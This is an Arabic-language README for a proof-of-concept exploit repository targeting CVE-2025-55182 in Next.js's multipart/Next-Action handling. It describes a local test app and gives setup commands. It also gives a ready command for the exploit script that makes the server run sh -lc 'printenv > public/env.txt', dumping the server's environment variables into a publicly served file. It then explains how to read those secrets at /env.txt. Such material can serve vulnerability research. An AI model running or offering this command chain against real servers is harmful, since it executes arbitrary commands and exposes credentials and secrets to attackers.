
استغلال إثبات المفهوم لـ CVE-2025-55182 يستهدف معالجة multipart/Next-Action في Next.js مع سكربت توضيحي لحقن الأوامر المحلي.
مستودع صغير يحتوي على:
test-app/: تطبيق اختبار Next.js 16 (React 19) يستخدم App Router.exploit.js: سكربت إثبات مفهوم محلي يُستخدم لتوضيح واختبار سلوك الخادم حول معالجة multipart/Next-Action. مخصص للاختبار المحلي فقط.rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
يقوم هذا السكربت بتشكيل طلب multipart مع ترويسة Next-Action لاختبار سلوك الخادم. افتراضيًا، يحاول تنفيذ أمر على عملية الخادم يكتب البيئة إلى public/env.txt (للغرض التوضيحي في بيئة محلية/تطويرية).
ملاحظات مهمة:
public/ ضمن test-app/public/.في طرفية منفصلة، تأكد من أن تطبيق Next.js يعمل على http://localhost:3000:
cd test-app
npm run dev
من جذر المستودع، قم بتشغيل السكربت:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
المعاملات:
http://localhost:3000.sh -lc 'printenv > public/env.txt'.بعد التشغيل، تحقق من الملف المُنشأ:
عن طريق الوصول إلى
http://localhost:3000/env.txt
وستجد بذلك المتغيرات البيئية للخادم.